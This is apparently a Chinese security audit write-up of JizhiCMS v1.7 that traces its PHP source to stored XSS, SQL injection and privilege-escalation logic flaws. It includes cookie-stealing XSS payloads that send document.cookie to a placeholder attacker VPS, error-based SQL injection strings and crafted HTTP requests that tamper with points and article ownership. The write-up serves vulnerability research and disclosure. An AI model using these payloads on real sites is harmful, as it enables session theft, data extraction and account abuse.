师傅tql,dddd
前言
记一次极致cms v1.7的一次比较全面的审计(除了插件部分,我觉得应该审计的差不多了),大佬们轻喷。
其实插件部分已经被爱吃猫的闲鱼师傅审计发到先知上了
文章地址:某cms代码审计引发的思考
细心的朋友读完我这篇文章应该就能发现其实是同一个cms
网站目录结构
.
├── 404.html
├── A(admin后台的一些文件,审计重点)
├── Conf(一些网站的配置文件,公共函数)
├── FrPHP(框架)
├── Home(用户的一些文件,审计核心)
├── Public(上传文件保存的地方)
├── README.md
├── admin.php(后台入口)
├── backup(数据库备份文件)
├── cache(网站缓存)
├── favicon.ico
├── index.php(前台入口)
├── install(安装目录)
├── readme.txt
├── sitemap.xml
├── static(一些静态文件)
└── web.config
网站的一些公共函数
由于下面的漏洞需要频繁的用到这个函数,所以我就单独拿出来先讲解一下。
frparam()
/FrPHP/lib/Controller.php
// 获取URL参数值
public function frparam($str=null, $int=0,$default = FALSE, $method = null){
$data = $this->_data;
if($str===null) return $data;
if(!array_key_exists($str,$data)){
return ($default===FALSE)?false:$default;
}
if($method===null){
$value = $data[$str];
}else{
$method = strtolower($method);
switch($method){
case 'get':
$value = $_GET[$str];
break;
case 'post':
$value = $_POST[$str];
break;
case 'cookie':
$value = $_COOKIE[$str];
break;
}
}
return format_param($value,$int);
}
第28行,返回值进行了一些处理,继续回溯跟进,format_param
方法如下:
/FrPHP/common/Functions.php
/**
参数过滤,格式化
**/
function format_param($value=null,$int=0){
if($value==null){ return '';}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(!get_magic_quotes_gpc())$value = addslashes($value);
return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮点
return (float)$value;
case 4:
if(!get_magic_quotes_gpc())$value = addslashes($value);
return trim($value);
}
}
这个函数用来处理数据,只会对数据进行一些简单的过滤,具体的就在上面的switch
语句中
存储型xss
第一处存储型xss(只能打管理员cookie)
/Home/c/MessageController.php
中的index方法
function index(){
if($_POST){
$w = $this->frparam();
$w = get_fields_data($w,'message',0);
$w['body'] = $this->frparam('body',1,'','POST');
$w['user'] = $this->frparam('user',1,'','POST');
$w['tel'] = $this->frparam('tel',1,'','POST');
$w['aid'] = $this->frparam('aid',0,0,'POST');
$w['tid'] = $this->frparam('tid',0,0,'POST');
if($this->webconf['autocheckmessage']==1){
$w['isshow'] = 1;
}else{
$w['isshow'] = 0;
}
$w['ip'] = GetIP();
$w['addtime'] = time();
if(isset($_SESSION['member'])){
$w['userid'] = $_SESSION['member']['id'];
}
......
......
......
......
这里第20行$w['ip'] = GetIP();
,然后我们回溯,去找到GetIP()
函数
/FrPHP/common/Functions.php
function GetIP(){
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
}
return $ip;
}
这里第5行并没有对$_SERVER['HTTP_CDN_SRC_IP']
进行过滤,我们只需要在http头中传入CDN-SRC-IP
字段即可
我们可以本地新建一个test.php
对该函数进行输出,是可以传入任意字符的
<?php
function GetIP(){
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
}
return $ip;
}
echo GetIP();
然后我们跟进,找到view模版
/A/t/tpl/message-details.html
大约在文件的第86到94行,核心代码如下
......
......
......
<div class="layui-form-item">
<label for="ip" class="layui-form-label">
<span class="x-red">*</span>留言IP
</label>
<div class="layui-input-block">
<input type="text" id="ip" value="{$data['ip']}" name="ip"
autocomplete="off" class="layui-input">
</div>
</div>
......
......
......
然后我们看到第9行<input type="text" id="ip" value="{$data['ip']}" name="ip"
autocomplete="off" class="layui-input">
,这里是可以直接xss的
payload:
"><script src="你的vps-ip/4.js"></script>
4.js内容如下
var image=new Image();
image.src="你的vps-ip:10006/cookies.phpcookie="+document.cookie;
然后我们提交留言
然后在vps上监听10006端口,当管理员点击编辑的时候,就会触发xss
这里的一个弊端,ip并没有显示在外面,很可惜,所以必须要诱导管理员点编辑才可以触发
第二处存储型xss(只能打管理员cookie)
/Home/c/UserController.php
中release()
方法的大约第1066行开始,这里的截取了部分关键代码,如下:
switch($w['molds']){
case 'article':
if(!$data['body']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'内容不能为空!']);
}else{
Error('内容不能为空!');
}
}
if(!$data['title']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'标题不能为空!']);
}else{
Error('标题不能为空!');
}
}
$data['body'] = $this->frparam('body',4);
$w['title'] = $this->frparam('title',1);
$w['seo_title'] = $w['title'];
$w['keywords'] = $this->frparam('keywords',1);
$w['litpic'] = $this->frparam('litpic',1);
$w['body'] = $data['body'];
$w['description'] = newstr(strip_tags($data['body']),200);
break;
case 'product':
if(!$data['body']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'内容不能为空!']);
}else{
Error('内容不能为空!');
}
}
if(!$data['title']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'标题不能为空!']);
}else{
Error('标题不能为空!');
}
}
$w['title'] = $this->frparam('title',1);
$w['seo_title'] = $w['title'];
$w['litpic'] = $this->frparam('litpic',1);
$w['keywords'] = $this->frparam('keywords',1);
$w['pictures'] = $this->frparam('pictures',1);
if($this->frparam('pictures_urls',2)){
$w['pictures'] = implode('||',$this->frparam('pictures_urls',2));
}
$data['body'] = $this->frparam('body',4);
$w['body'] = $data['body'];
if($this->frparam('description',1)){
$w['description'] = $this->frparam('description',1);
}else{
$w['description'] = newstr(strip_tags($data['body']),200);
}
break;
default:
break;
}
因为上面我们已经介绍过了frparam
函数,所以这里不再重复
第22行$w['litpic'] = $this->frparam('litpic',1);
因为我本地并没有配置get_magic_quotes_gpc
,所以这里只是对输入的内容进行了htmlspecialchars
和addslashes
处理,然后我们再看最后的落点,也就是在/A/t/tpl/article-list.html
模版这里进行填充数据
/A/t/tpl/article-list.html
关键代码大约在文件的第147行至第153行,如下:
<script type="text/html" id="litpic">
{{# if(!d.litpic){ }}
无
{{# } else{ }}
<a href="{{d.litpic}}" target="_blank"><img src="{{d.litpic}}" width="100px" /></a>
{{# } }}
</script>
在上述关键代码的第5行就是填充的数据
所以我们构造payload:
javascript:window.location.href='你的vps-ip?'%2Bdocument.cookie
然后我们只需要发布一篇新文章,然后修改litpic
字段即可
然后在后台网站管理——内容列表中
当管理员点开这个缩略图的时候,就可以得到管理员的cookie
第三处存储型xss(只能打管理员cookie)
在/Home/c/UserController.php
中的userinfo()
方法,大约第129行,关键代码如下:
function userinfo(){
$this->checklogin();
if($_POST){
$w = $this->frparam();
$w['tel'] = $this->frparam('tel',1);
$w['pass'] = $this->frparam('password',1);
$w['sex'] = $this->frparam('sex',0,0);
$w['repass'] = $this->frparam('repassword',1);
$w['username'] = $this->frparam('username',1);
$w['email'] = $this->frparam('email',1);
$w['litpic'] = $this->frparam('litpic',1);
$w['signature'] = $this->frparam('signature',1);
......
......
......
在上述代码的第11行,同样也是因为缩略图的问题,被加载在了/A/t/tpl/member-list.html
中的第115行
,cols: [[ //表头
{field: 'id', title: 'ID', width:50, sort: true, fixed:'left'}
,{type:'checkbox'}
,{field: 'isshow', title: '状态',width: 100,templet:'#isshow'}
,{field: 'username', title: '用户名',width: 150, sort: true}
,{field: 'new_gid', title: '分组',width:150}
,{field: 'tel', title: '手机号',width:200, sort: true}
,{field: 'email', title: '邮箱',width:150, sort: true}
,{field: 'new_litpic', title: '头像',width:150}
,{field: 'jifen', title: '积分',width:150}
,{field: 'money', title: '余额',width:150}
{foreach $fields_list as $v},{field: '{$v['field']}',width:150, title: '{$v['fieldname']}'}{/foreach}
,{field: 'new_regtime', title: '加入时间',width:160}
,{field: 'new_logintime', title: '登录时间',width:160}
{if(checkAction('Member/memberedit') || checkAction('Member/member_del'))}
,{field: '', title: '操作',width:260, toolbar: '#rightbar', fixed:'right'}
{/if}
这里也是可以打cookie的,跟上述一样,为了演示方便就选择了弹窗
sql注入
第一处sql注入
/Home/c/MessageController.php
中的index方法
function index(){
if($_POST){
$w = $this->frparam();
$w = get_fields_data($w,'message',0);
$w['body'] = $this->frparam('body',1,'','POST');
$w['user'] = $this->frparam('user',1,'','POST');
$w['tel'] = $this->frparam('tel',1,'','POST');
$w['aid'] = $this->frparam('aid',0,0,'POST');
$w['tid'] = $this->frparam('tid',0,0,'POST');
if($this->webconf['autocheckmessage']==1){
$w['isshow'] = 1;
}else{
$w['isshow'] = 0;
}
$w['ip'] = GetIP();
$w['addtime'] = time();
if(isset($_SESSION['member'])){
$w['userid'] = $_SESSION['member']['id'];
}
......
......
......
......
这里第20行$w['ip'] = GetIP();
,然后我们回溯,去找到GetIP()
函数
/FrPHP/common/Functions.php
function GetIP(){
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
}
return $ip;
}
这里第5行并没有对$_SERVER['HTTP_CDN_SRC_IP']
进行过滤,我们只需要在http头中传入CDN-SRC-IP
字段即可
我们可以本地对该函数进行输出,是可以传入任意字符的,上面的xss漏洞处已经做过演示了,这里就不再重复赘述了。
然后我们继续跟进,在/Home/c/MessageController.php
中的第76行$res = M('message')->add($w);
,这个add
方法是Frphp
框架的一个插入数据表的方法
/FrPHP/lib/Model.php
中的add方法
// 新增数据
public function add($row)
{
if(!is_array($row))return FALSE;
$row = $this->__prepera_format($row);
if(empty($row))return FALSE;
foreach($row as $key => $value){
if($value!==null){
$cols[] = $key;
$vals[] = '\''.$value.'\'';
}
}
$col = join(',', $cols);
$val = join(',', $vals);
$table = self::$table;
$sql = "INSERT INTO {$table} ({$col}) VALUES ({$val})";
if( FALSE != $this->runSql($sql) ){
if( $newinserid = $this->db->lastInsertId() ){
return $newinserid;
}else{
$a=$this->find($row, "{$this->primary} DESC",$this->primary);
return array_pop($a);
}
}
return FALSE;
}
显然,第10行的$value
我们可控(前面的ip可控),而且这里也并没有对插入数据表的数据进行过滤,所以这里存在sql注入,这里可以直接进行报错注入
查询当前用户payload:
2' and extractvalue(0x0a,concat(0x0a,(select user()))) and '1
第二处sql注入
/Home/c/UserController.php
中的release
方法中的关键代码如下:
//文章发布和修改
function release(){
$this->checklogin();
error_reporting(E_ALL^E_NOTICE);
if($_POST){
$data = $this->frparam();
........
........
........
$w['tid'] = $this->frparam('tid');
if(!$w['tid']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'请选择分类!']);
}else{
Error('请选择分类!');
}
}
$w['molds'] = $this->classtypedata[$w['tid']]['molds'];
$w = get_fields_data($data,$w['molds']);
........
........
........
if($this->frparam('id')){
$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);
上述代码第7行$data = $this->frparam()
,frparam()
方法前面已经提过了,这里就不再累赘重复了
这里是用来接收值的,如果是post传输的,就接收所有post的值,并且不进行过滤。
然后第11行代码$w['tid'] = $this->frparam('tid');
,这里会接收参数名为tid
的值,并且会进行return (int)$value;
处理,这样传入1'
就不行了,但是没关系,我们接着看第21行$w = get_fields_data($data,$w['molds']);
,我们回溯一下get_fields_data()
方法
/Conf/Functions.php
function get_fields_data($data,$molds,$isadmin=1){
if($isadmin){
$fields = M('fields')->findAll(['molds'=>$molds,'isadmin'=>1],'orders desc,id asc');
}else{
//前台需要判断是否前台显示
$fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');
}
foreach($fields as $v){
if(array_key_exists($v['field'],$data)){
switch($v['fieldtype']){
case 1:
case 2:
case 5:
case 7:
case 9:
case 12:
$data[$v['field']] = format_param($data[$v['field']],1);
break;
case 11:
$data[$v['field']] = strtotime(format_param($data[$v['field']],1));
break;
case 3:
$data[$v['field']] = format_param($data[$v['field']],4);
break;
case 4:
case 13:
$data[$v['field']] = format_param($data[$v['field']]);
break;
case 14:
$data[$v['field']] = format_param($data[$v['field']],3);
break;
case 8:
$r = implode(',',format_param($data[$v['field']],2));
if($r!=''){
$r = ','.$r.',';
}
$data[$v['field']] = $r;
break;
}
}else if(array_key_exists($v['field'].'_urls',$data)){
switch($v['fieldtype']){
case 6:
case 10:
$data[$v['field']] = implode('||',format_param($data[$v['field'].'_urls'],2));
break;
}
}else{
$data[$v['field']] = '';
}
}
return $data;
}
因为我们不是admin,所以我们会执行第6行代码$fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');
这里我post传入参数,简单的debug了一下,如下
所以上述代码$fields['field']
是不存在的,所以只会执行第51行代码$data[$v['field']] = '';
,所以第56行返回的代码就是$data = $this->frparam();
,这也就解释了为什么中间对tip
进行过滤,但为什么最后依然还是存在注入,这应该是个严重的开发失误。
然后我们接着回溯update()
方法
/FrPHP/lib/Model.php
// 修改数据
public function update($conditions,$row)
{
$where = "";
$row = $this->__prepera_format($row);
if(empty($row))return FALSE;
if(is_array($conditions)){
$join = array();
foreach( $conditions as $key => $condition ){
$condition = '\''.$condition.'\'';
$join[] = "{$key} = {$condition}";
}
$where = "WHERE ".join(" AND ",$join);
}else{
if(null != $conditions)$where = "WHERE ".$conditions;
}
foreach($row as $key => $value){
if($value!==null){
$value = '\''.$value.'\'';
$vals[] = "{$key} = {$value}";
}else{
$vals[] = "{$key} = null";
}
}
$values = join(", ",$vals);
$table = self::$table;
$sql = "UPDATE {$table} SET {$values} {$where}";
return $this->runSql($sql);
}
/Home/c/UserController.php
关键代码中的第25-26行,虽然25行if($this->frparam('id'))
对id
进行了过滤,但是第26行$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);
这里update
插入的是最原始的数据,,=也就是$w = get_fields_data($data,$w['molds']);
。虽然$conditions
也就是条件被过滤了,但是不影响我们注入。
所以这里的id
,molds
,tid
三个字段都存在sql注入
第三处sql注入
/Home/c/UserController.php
中的userinfo()
方法中的关键代码如下:
function userinfo(){
$this->checklogin();
if($_POST){
$w = $this->frparam();
$w['tel'] = $this->frparam('tel',1);
$w['pass'] = $this->frparam('password',1);
$w['sex'] = $this->frparam('sex',0,0);
$w['repass'] = $this->frparam('repassword',1);
$w['username'] = $this->frparam('username',1);
$w['email'] = $this->frparam('email',1);
$w['litpic'] = $this->frparam('litpic',1);
$w['signature'] = $this->frparam('signature',1);
$w = get_fields_data($w,'member',0);
........
........
........
$re = M('member')->update(['id'=>$this->member['id']],$w);
$member = M('member')->find(['id'=>$this->member['id']]);
unset($member['pass']);
$_SESSION['member'] = array_merge($_SESSION['member'],$member);
if($this->frparam('ajax')){
JsonReturn(['code'=>0,'msg'=>'修改成功!']);
}
Error('修改成功!');
这里我们对比一下我post抓包后的字段,我们发现有3个字段没有进行过滤,分别是province
、city
、address
这三个字段
然后第17行$re = M('member')->update(['id'=>$this->member['id']],$w);
所有字段依旧被update
更新了,所以这里就存在了注入,还是一个报错注入,如果不回显报错也没有关系的,这里存在时间盲注,也是可以注入的
payload:
1' or (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or '
province
字段演示
city
字段演示
address
字段演示
逻辑漏洞
第一处逻辑漏洞——任意订单查看
首先注册两个账号,账号A和账号B
然后用账号B购买一些商品,产生交易记录和订单号码
然后在A用户这里我的钱包——交易记录可以看到其他人的交易订单
而且这里的订单号明显是更具时间戳进行命名的,我用其他A账户也可以直接访问到B账户的一些订单信息
然后我们来分析为什么
/Home/c/UserController.php
//购买列表
function buylist(){
$this->checklogin();
//兑换记录
$page1 = new Page('buylog');
$this->type = $this->frparam('type',0,1);
if($this->type==1){
$sql =" buytype='money' and type=2 ";
}else if($this->type==2){
$sql =" buytype='jifen' and type=1 ";
}else{
$sql = " type=3 ";
}
$data1 = $page1->where($sql)->orderby('addtime desc')->page($this->frparam('p',0,1))->go();
$page1->file_ext = '';
$pages1 = $page1->pageList(5,'?p=');
$this->pages1 = $pages1;
foreach($data1 as $k=>$v){
$data1[$k]['date'] = date('Y-m-d H:i:s',$v['addtime']);
$data1[$k]['details'] = U('user/buydetails',['id'=>$v['id']]);
}
$this->lists1 = $data1;//列表数据
$this->sum1 = $page1->sum;//总数据
$this->listpage1 = $page1->listpage;//分页数组-自定义分页可用
$this->prevpage1 = $page1->prevpage;//上一页
$this->nextpage1 = $page1->nextpage;//下一页
$this->allpage1 = $page1->allpage;//总页数
//订单记录
$page = new Page('orders');
$this->type = $this->frparam('type',0,1);
if($this->type==1){
$sql =" ptype=1 ";
}else{
$sql =" ptype=2 ";
}
$sql.=" and isshow!=0 ";
$data = $page->where($sql)->orderby('addtime desc')->page($this->frparam('page',0,1))->go();
$page->file_ext = '';
$pages = $page->pageList(5,'?page=');
$this->pages = $pages;
foreach($data as $k=>$v){
$data[$k]['date'] = date('Y-m-d H:i:s',$v['addtime']);
$data[$k]['orderdetails'] = U('user/orderdetails',['orderno'=>$v['orderno']]);
$data[$k]['orderdel'] = U('user/orderdel',['orderno'=>$v['orderno']]);
$data[$k]['buytype'] = M('buylog')->getField(['orderno'=>$v['orderno']],'type');
}
$this->lists = $data;//列表数据
$this->sum = $page->sum;//总数据
$this->listpage = $page->listpage;//分页数组-自定义分页可用
$this->prevpage = $page->prevpage;//上一页
$this->nextpage = $page->nextpage;//下一页
$this->allpage = $page->allpage;//总页数
$this->display($this->template.'/user/buy-list');
}
可以看到第15行,这里在查询数据的时候,并没有查询某个特定用户,而是把所有人的购买记录都查询出来了,这样的话其他人都可以看到你的订单,你也可以看到其他人的订单。这里其实是开发者的问题,由于开发的失误才会导致这个问题。
第二处逻辑漏洞——越权修改用户自己的积分
这里我们先演示一下结果,然后再去分析
首先我们注册一个账号,然后在后台看他的积分,是1积分
然后我们登录这个账号,然后在资料账户这里点提交抓包
然后在post字段中添加jifen=1234
,发包
然后去后台看积分,发现积分已经被修改成了1234
接下来我们来分析一下为什么会这样
上面的用户资料账户的代码在/Home/c/UserController.php
中的userinfo
方法里
function userinfo(){
$this->checklogin();
if($_POST){
$w = $this->frparam();
$w['tel'] = $this->frparam('tel',1);
$w['pass'] = $this->frparam('password',1);
$w['sex'] = $this->frparam('sex',0,0);
$w['repass'] = $this->frparam('repassword',1);
$w['username'] = $this->frparam('username',1);
$w['email'] = $this->frparam('email',1);
$w['litpic'] = $this->frparam('litpic',1);
$w['signature'] = $this->frparam('signature',1);
$w = get_fields_data($w,'member',0);
if($w['tel']!=''){
if(preg_match("/^(13[0-9]|14[579]|15[0-3,5-9]|16[6]|17[0135678]|18[0-9]|19[89])\\d{8}$/",$w['tel'])){
}else{
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'手机号码格式错误!']);
}
Error('手机号码格式错误!');
}
//檢查是否已經註冊
$r = M('member')->find(['tel'=>$w['tel']]);
if($r){
if($r['id']!=$this->member['id']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'手机号已被注册!']);
}
Error('手机号已被注册!');
}
}
}
if($w['username']==''){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'账户不能为空!']);
}
Error('账户不能为空!');
}
if($w['pass']!=$w['repass'] && $w['pass']!=''){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'两次密码不同!']);
}
Error('两次密码不同!');
}
if($w['email']){
$r = M('member')->find(['email'=>$w['email']]);
if($r){
if($r['id']!=$this->member['id']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'邮箱已被使用!']);
}
Error('邮箱已被使用!');
}
}
}
$r = M('member')->find(['username'=>$w['username']]);
if($r){
if($r['id']!=$this->member['id']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'昵称已被使用!']);
}
Error('昵称已被使用!');
}
}
if($w['pass']!=''){
$w['pass'] = md5(md5($w['pass']).md5($w['pass']));
}else{
unset($w['pass']);
unset($w['repass']);
}
$re = M('member')->update(['id'=>$this->member['id']],$w);
$member = M('member')->find(['id'=>$this->member['id']]);
unset($member['pass']);
$_SESSION['member'] = array_merge($_SESSION['member'],$member);
if($this->frparam('ajax')){
JsonReturn(['code'=>0,'msg'=>'修改成功!']);
}
Error('修改成功!');
}
$this->display($this->template.'/user/userinfo');
}
然后我们再来看admin那里修改用户积分的代码
/A/c/MemberController.php
function memberedit(){
$this->fields_biaoshi = 'member';
if($this->frparam('go')==1){
$data = $this->frparam();
$data = get_fields_data($data,'member');
$data['username'] = $this->frparam('username',1);
$data['email'] = $this->frparam('email',1);
$data['litpic'] = $this->frparam('litpic',1);
$data['address'] = $this->frparam('address',1);
$data['province'] = $this->frparam('province',1);
$data['city'] = $this->frparam('city',1);
$data['signature'] = $this->frparam('signature',1);
$data['birthday'] = $this->frparam('birthday',1);
if($data['pass']!=''){
if($data['pass']!=$data['repass']){
JsonReturn(array('code'=>1,'msg'=>'两次密码不同!'));
}
$data['pass'] = md5(md5($data['pass']).md5($data['pass']));
}else{
unset($data['pass']);
}
if(M('member')->update(array('id'=>$data['id']),$data)){
JsonReturn(array('code'=>0,'msg'=>'修改成功!'));
}else{
JsonReturn(array('code'=>1,'msg'=>'修改失败,请重新提交!'));
}
}
$this->data = M('member')->find(['id'=>$this->frparam('id')]);
if(!$this->data){
Error('没有找到该用户!');
}
$this->display('member-edit');
}
admin处修改的post表单如下:
POST /admin.php/Member/memberedit.html HTTP/1.1
Host: www.**.net
Content-Length: 159
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.**.net
Referer: http://www.**.net/admin.php/Member/memberedit/id/3.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=cdjbtp3sjhc70tg6pko7jguls5
Connection: close
go=1&id=3&email=333%40qq.com&tel=13011111111&username=13011111111&gid=1&jifen=1234.00&litpic=&file=&birthday=&signature=&province=&city=&address=&pass=&repass=
也就是说这里表单会传递一个jifen
字段提交给后端,然后update写入到数据库中,但是并没有判断是用户传递的还是admin传递的,这就造成了用户在修改资料的时候,直接提交一个jifen
字段即可
所以我们就在用修改用户资料的地方直接传入一个参数jifen=1234
就可以修改积分了
POST /user/userinfo.html HTTP/1.1
Host: www.**.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
Origin: http://www.**.net
Connection: close
Referer: http://www.**.net/user/userinfo.html
Cookie: PHPSESSID=6jgmku4kuk71mdljmai77cj432
Upgrade-Insecure-Requests: 1
litpic=&file=&username=13011111111&tel=13011111111&email=333%40qq.com&sex=0&province=&city=&address=&password=&repassword=&signature=&submit=%E6%8F%90%E4%BA%A4&jifen=1234
第三处逻辑漏洞——越权修改自己的文章状态
这里我们先演示一下结果,然后再去分析
首先我们注册一个账号,然后点发布文章,随便发布一篇文章
然后在后台看到记录
然后我们在提交文章的地方添加字段ishot=1
然后就可以看到文章是热属性了,虽然文章还没有被审核
跟第一个越权漏洞类似,该漏洞也是因为在用户端没有过滤参数所导致的,这样可以让用户进行恶意传递参数来导致文章的状态被修改
/A/c/ArticleController.php
......
......
......
if($this->frparam('title',1)!=''){
$sql.=" and title like '%".$this->frparam('title',1)."%' ";
}
if($this->frparam('shuxing')){
if($this->frparam('shuxing')==1){
$sql.=" and istop=1 ";
}
if($this->frparam('shuxing')==2){
$sql.=" and ishot=1 ";
}
if($this->frparam('shuxing')==3){
$sql.=" and istuijian=1 ";
}
}
$data = $page->where($sql)->orderby('istop desc,orders desc,id desc')->limit($this->frparam('limit',0,10))->page($this->frparam('page',0,1))->go();
$ajaxdata = [];
foreach($data as $k=>$v){
if($v['ishot']==1){
$v['tuijian'] = '热';
}else if($v['istuijian']==1){
$v['tuijian'] = '荐';
}else if($v['istop']==1){
$v['tuijian'] = '顶';
}else{
$v['tuijian'] = '无';
}
......
......
......
这里是三种状态,ishot=1
代表热,istuijian=1
代表荐,istop=1
代表顶,如果什么都没有那就是无
所以只需要在用户发布文章的地方添加字段ishot=1
或者istuijian=1
或者istop=1
即可
POST /user/release.html HTTP/1.1
Host: www.**.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 119
Origin: http://www.**.net
Connection: close
Referer: http://www.**.net/user/release.html
Cookie: PHPSESSID=6jgmku4kuk71mdljmai77cj432
ajax=1&isshow=&molds=article&tid=2&title=hot&keywords=hoht&litpic=&description=hot&body=%3Cp%3Ehot%3Cbr%2F%3E%3C%2Fp%3E&ishot=1
第四处逻辑漏洞——越权修改别人已发表的文章为未审核
/Home/c/UserController.php
中的release()
方法
//文章发布和修改
function release(){
......
......
......
......
......
$molds = $this->frparam('molds',1,'article');
$tid = $this->frparam('tid',0,0);
if($this->frparam('id')){
$this->data = M($molds)->find(['id'=>$this->frparam('id'),'member_id'=>$this->member['id']]);
$molds = $this->data['molds'];
$this->moldsdata = M('molds')->find(['biaoshi'=>$molds]);
$tid = $this->data['tid'];
}else{
$this->data = false;
}
$this->molds = $molds;
$this->tid = $tid;
$this->classtypetree = get_classtype_tree();
$this->display($this->template.'/user/article-add');
}
上述代码第10行至第21行,if($this->frparam('id'))
这里对id并没有判断到底是改用户的文章还是其他用户对文章,导致可以对任意用户对文章进行修改,即把他们的文章变成自己的文章
下面是演示结果:
这里首先需要你发表过文章,不需要审核,只需要发布即可。然后进入编辑模式,点提交,抓包
POST /user/release.html HTTP/1.1
Host: www.**.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: http://www.**.net
Connection: close
Referer: http://www.**.net/user/release/id/29/molds/article.html
Cookie: PHPSESSID=lcfjs54o8288d6q68julppqu60
ajax=1&id=29&isshow=0&molds=article&tid=2&title=1&keywords=1&litpic=&description=1&body=%3Cp%3E1%3Cbr%2F%3E%3C%2Fp%3E
修改上面的post参数中的id数值,把id改成任意数字,如果文章存在,就会从那个用户中消失,然后变成了你的文章,比如我们把id改成13
原本这篇文章是正常的,且我的投稿中并没有这篇文章
然后发包
后台刷新即可看到这篇文章的状态
然后我们本地就多了一篇文章
总结
- 这个cms比较有意思的一点就是获取ip的函数
GetIP()
,这里可以用http头CDN-SRC-IP
绕过导致可以触发存储型xss和sql注入 - 其实这里sql注入可以往数据库插入文件的白名单后缀,比如php,这样就可以直接上传php文件(不知道为什么开发者要把文件后缀写到数据库中)
- 这里的xss漏洞是比较泛滥的,而且函数中是有针对xss过滤的函数,不知道为什么开发者没有使用
- 这里的逻辑漏洞也是很泛滥的,主要挖掘的思路就是去测试功能点,然后去看功能点的代码,这样基本上就不会有遗漏的漏洞